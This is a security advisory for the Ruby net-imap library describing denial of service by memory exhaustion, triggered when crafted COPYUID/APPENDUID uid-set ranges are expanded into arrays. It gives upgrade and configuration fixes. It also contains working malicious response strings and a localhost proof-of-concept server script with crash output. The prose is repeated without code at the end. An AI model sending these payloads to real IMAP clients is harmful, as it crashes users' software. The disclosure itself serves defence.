Summary
There is a possibility for denial of service by memory exhaustion in net-imap
's response parser. At any time while the client is connected, a malicious server can send can send highly compressed uid-set
data which is automatically read by the client's receiver thread. The response parser uses Range#to_a
to convert the uid-set
data into arrays of integers, with no limitation on the expanded size of the ranges.
Details
IMAP's uid-set
and sequence-set
formats can compress ranges of numbers, for example: "1,2,3,4,5"
and "1:5"
both represent the same set. When Net::IMAP::ResponseParser
receives APPENDUID
or COPYUID
response codes, it expands each uid-set
into an array of integers. On a 64 bit system, these arrays will expand to 8 bytes for each number in the set. A malicious IMAP server may send specially crafted APPENDUID
or COPYUID
responses with very large uid-set
ranges.
The Net::IMAP
client parses each server response in a separate thread, as soon as each responses is received from the server. This attack works even when the client does not handle the APPENDUID
or COPYUID
responses.
Malicious inputs:
# 40 bytes expands to ~1.6GB:
"* OK [COPYUID 1 1:99999999 1:99999999]\r\n"
# Worst *valid* input scenario (using uint32 max),
# 44 bytes expands to 64GiB:
"* OK [COPYUID 1 1:4294967295 1:4294967295]\r\n"
# Numbers must be non-zero uint32, but this isn't validated. Arrays larger than
# UINT32_MAX can be created. For example, the following would theoretically
# expand to almost 800 exabytes:
"* OK [COPYUID 1 1:99999999999999999999 1:99999999999999999999]\r\n"
Simple way to test this:
require "net/imap"
def test(size)
input = "A004 OK [COPYUID 1 1:#{size} 1:#{size}] too large?\r\n"
parser = Net::IMAP::ResponseParser.new
parser.parse input
end
test(99_999_999)
Fixes
Preferred Fix, minor API changes
Upgrade to v0.4.19, v0.5.6, or higher, and configure:
# globally
Net::IMAP.config.parser_use_deprecated_uidplus_data = false
# per-client
imap = Net::IMAP.new(hostname, ssl: true,
parser_use_deprecated_uidplus_data: false)
imap.config.parser_use_deprecated_uidplus_data = false
This replaces UIDPlusData
with AppendUIDData
and CopyUIDData
. These classes store their UIDs as Net::IMAP::SequenceSet
objects (not expanded into arrays of integers). Code that does not handle APPENDUID
or COPYUID
responses will not notice any difference. Code that does handle these responses may need to be updated. See the documentation for UIDPlusData, AppendUIDData and CopyUIDData.
For v0.3.8, this option is not available.
For v0.4.19, the default value is true
.
For v0.5.6, the default value is :up_to_max_size
.
For v0.6.0, the only allowed value will be false
(UIDPlusData
will be removed from v0.6).
Mitigation, backward compatible API
Upgrade to v0.3.8, v0.4.19, v0.5.6, or higher.
For backward compatibility, uid-set
can still be expanded into an array, but a maximum limit will be applied.
Assign config.parser_max_deprecated_uidplus_data_size
to set the maximum UIDPlusData
UID set size.
When config.parser_use_deprecated_uidplus_data == true
, larger sets will raise Net::IMAP::ResponseParseError
.
When config.parser_use_deprecated_uidplus_data == :up_to_max_size
, larger sets will use AppendUIDData
or CopyUIDData
.
For v0.3,8, this limit is hard-coded to 10,000, and larger sets will always raise Net::IMAP::ResponseParseError
.
For v0.4.19, the limit defaults to 1000.
For v0.5.6, the limit defaults to 100.
For v0.6.0, the limit will be ignored (UIDPlusData
will be removed from v0.6).
Please Note: unhandled responses
If the client does not add response handlers to prune unhandled responses, a malicious server can still eventually exhaust all client memory, by repeatedly sending malicious responses. However, net-imap
has always retained unhandled responses, and it has always been necessary for long-lived connections to prune these responses. This is not significantly different from connecting to a trusted server with a long-lived connection. To limit the maximum number of retained responses, a simple handler might look something like the following:
limit = 1000
imap.add_response_handler do |resp|
next unless resp.respond_to?(:name) && resp.respond_to?(:data)
name = resp.name
code = resp.data.code&.name if resp.data.respond_to?(:code)
if Net::IMAP::VERSION > "0.4.0"
imap.responses(name) { _1.slice!(0...-limit) }
imap.responses(code) { _1.slice!(0...-limit) }
else
imap.responses(name).slice!(0...-limit)
imap.responses(code).slice!(0...-limit)
end
end
Proof of concept
Save the following to a ruby file (e.g: poc.rb
) and make it executable:
#!/usr/bin/env ruby
require 'socket'
require 'net/imap'
if !defined?(Net::IMAP.config)
puts "Net::IMAP.config is not available"
elsif !Net::IMAP.config.respond_to?(:parser_use_deprecated_uidplus_data)
puts "Net::IMAP.config.parser_use_deprecated_uidplus_data is not available"
else
Net::IMAP.config.parser_use_deprecated_uidplus_data = :up_to_max_size
puts "Updated parser_use_deprecated_uidplus_data to :up_to_max_size"
end
size = Integer(ENV["UID_SET_SIZE"] || 2**32-1)
def server_addr
Addrinfo.tcp("localhost", 0).ip_address
end
def create_tcp_server
TCPServer.new(server_addr, 0)
end
def start_server
th = Thread.new do
yield
end
sleep 0.1 until th.stop?
end
def copyuid_response(tag: "*", size: 2**32-1, text: "too large?")
"#{tag} OK [COPYUID 1 1:#{size} 1:#{size}] #{text}\r\n"
end
def appenduid_response(tag: "*", size: 2**32-1, text: "too large?")
"#{tag} OK [APPENDUID 1 1:#{size}] #{text}\r\n"
end
server = create_tcp_server
port = server.addr[1]
puts "Server started on port #{port}"
# server
start_server do
sock = server.accept
begin
sock.print "* OK test server\r\n"
cmd = sock.gets("\r\n", chomp: true)
tag = cmd.match(/\A(\w+) /)[1]
puts "Received: #{cmd}"
malicious_response = appenduid_response(size:)
puts "Sending: #{malicious_response.chomp}"
sock.print malicious_response
malicious_response = copyuid_response(size:)
puts "Sending: #{malicious_response.chomp}"
sock.print malicious_response
sock.print "* CAPABILITY JUMBO=UIDPLUS PROOF_OF_CONCEPT\r\n"
sock.print "#{tag} OK CAPABILITY completed\r\n"
cmd = sock.gets("\r\n", chomp: true)
tag = cmd.match(/\A(\w+) /)[1]
puts "Received: #{cmd}"
sock.print "* BYE If you made it this far, you passed the test!\r\n"
sock.print "#{tag} OK LOGOUT completed\r\n"
rescue Exception => ex
puts "Error in server: #{ex.message} (#{ex.class})"
ensure
sock.close
server.close
end
end
# client
begin
puts "Client connecting,.."
imap = Net::IMAP.new(server_addr, port: port)
puts "Received capabilities: #{imap.capability}"
pp responses: imap.responses
imap.logout
rescue Exception => ex
puts "Error in client: #{ex.message} (#{ex.class})"
puts ex.full_message
ensure
imap.disconnect if imap
end
Use ulimit
to limit the process's virtual memory. The following example limits virtual memory to 1GB:
$ ( ulimit -v 1000000 && exec ./poc.rb )
Server started on port 34291
Client connecting,..
Received: RUBY0001 CAPABILITY
Sending: * OK [APPENDUID 1 1:4294967295] too large?
Sending: * OK [COPYUID 1 1:4294967295 1:4294967295] too large?
Error in server: Connection reset by peer @ io_fillbuf - fd:9 (Errno::ECONNRESET)
Error in client: failed to allocate memory (NoMemoryError)
/gems/net-imap-0.5.5/lib/net/imap.rb:3271:in 'Net::IMAP#get_tagged_response': failed to allocate memory (NoMemoryError)
from /gems/net-imap-0.5.5/lib/net/imap.rb:3371:in 'block in Net::IMAP#send_command'
from /rubylibdir/monitor.rb:201:in 'Monitor#synchronize'
from /rubylibdir/monitor.rb:201:in 'MonitorMixin#mon_synchronize'
from /gems/net-imap-0.5.5/lib/net/imap.rb:3353:in 'Net::IMAP#send_command'
from /gems/net-imap-0.5.5/lib/net/imap.rb:1128:in 'block in Net::IMAP#capability'
from /rubylibdir/monitor.rb:201:in 'Monitor#synchronize'
from /rubylibdir/monitor.rb:201:in 'MonitorMixin#mon_synchronize'
from /gems/net-imap-0.5.5/lib/net/imap.rb:1127:in 'Net::IMAP#capability'
from /workspace/poc.rb:70:in '<main>'
References
Summary
There is a possibility for denial of service by memory exhaustion in
net-imap
's response parser. At any time while the client is connected, a malicious server can send can send highly compresseduid-set
data which is automatically read by the client's receiver thread. The response parser usesRange#to_a
to convert theuid-set
data into arrays of integers, with no limitation on the expanded size of the ranges.Details
IMAP's
uid-set
andsequence-set
formats can compress ranges of numbers, for example:"1,2,3,4,5"
and"1:5"
both represent the same set. WhenNet::IMAP::ResponseParser
receivesAPPENDUID
orCOPYUID
response codes, it expands eachuid-set
into an array of integers. On a 64 bit system, these arrays will expand to 8 bytes for each number in the set. A malicious IMAP server may send specially craftedAPPENDUID
orCOPYUID
responses with very largeuid-set
ranges.The
Net::IMAP
client parses each server response in a separate thread, as soon as each responses is received from the server. This attack works even when the client does not handle theAPPENDUID
orCOPYUID
responses.Malicious inputs:
Simple way to test this:
Fixes
Preferred Fix, minor API changes
Upgrade to v0.4.19, v0.5.6, or higher, and configure:
This replaces
UIDPlusData
withAppendUIDData
andCopyUIDData
. These classes store their UIDs asNet::IMAP::SequenceSet
objects (not expanded into arrays of integers). Code that does not handleAPPENDUID
orCOPYUID
responses will not notice any difference. Code that does handle these responses may need to be updated. See the documentation for UIDPlusData, AppendUIDData and CopyUIDData.For v0.3.8, this option is not available.
For v0.4.19, the default value is
true
.For v0.5.6, the default value is
:up_to_max_size
.For v0.6.0, the only allowed value will be
false
(UIDPlusData
will be removed from v0.6).Mitigation, backward compatible API
Upgrade to v0.3.8, v0.4.19, v0.5.6, or higher.
For backward compatibility,
uid-set
can still be expanded into an array, but a maximum limit will be applied.Assign
config.parser_max_deprecated_uidplus_data_size
to set the maximumUIDPlusData
UID set size.When
config.parser_use_deprecated_uidplus_data == true
, larger sets will raiseNet::IMAP::ResponseParseError
.When
config.parser_use_deprecated_uidplus_data == :up_to_max_size
, larger sets will useAppendUIDData
orCopyUIDData
.For v0.3,8, this limit is hard-coded to 10,000, and larger sets will always raise
Net::IMAP::ResponseParseError
.For v0.4.19, the limit defaults to 1000.
For v0.5.6, the limit defaults to 100.
For v0.6.0, the limit will be ignored (
UIDPlusData
will be removed from v0.6).Please Note: unhandled responses
If the client does not add response handlers to prune unhandled responses, a malicious server can still eventually exhaust all client memory, by repeatedly sending malicious responses. However,
net-imap
has always retained unhandled responses, and it has always been necessary for long-lived connections to prune these responses. This is not significantly different from connecting to a trusted server with a long-lived connection. To limit the maximum number of retained responses, a simple handler might look something like the following:Proof of concept
Save the following to a ruby file (e.g:
poc.rb
) and make it executable:Use
ulimit
to limit the process's virtual memory. The following example limits virtual memory to 1GB:References